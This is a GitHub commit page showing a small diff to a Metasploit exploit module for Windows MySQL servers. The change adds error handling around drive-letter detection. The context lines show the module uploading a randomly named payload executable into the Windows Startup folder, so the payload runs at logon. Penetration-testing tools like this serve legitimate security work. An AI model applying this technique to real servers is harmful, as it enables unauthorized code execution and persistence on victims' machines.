We read every piece of feedback, and take your input very seriously.
To see all available qualifiers, see our documentation.
There was an error while loading. Please reload this page.
1 parent 0c5f4ce commit 9a0ed72Copy full SHA for 9a0ed72
modules/exploits/windows/mysql/mysql_start_up.rb
@@ -105,10 +105,18 @@ def exploit
105
return
106
end
107
108
- drive = get_drive_letter
+ begin
109
+ drive = get_drive_letter
110
+ return if not drive
111
+ rescue RbMysql::ParseError
112
+ print_error("Could not determine drive name")
113
+ return
114
+ end
115
+
116
exe_name = Rex::Text::rand_text_alpha(5) + ".exe"
117
dest = "#{drive}:/programdata/microsoft/windows/start menu/programs/startup/#{exe_name}"
118
exe = generate_payload_exe
119
120
print_status("#{peer} - Uploading to '#{dest}'")
121
begin
122
upload_file(exe, dest)
0 commit comments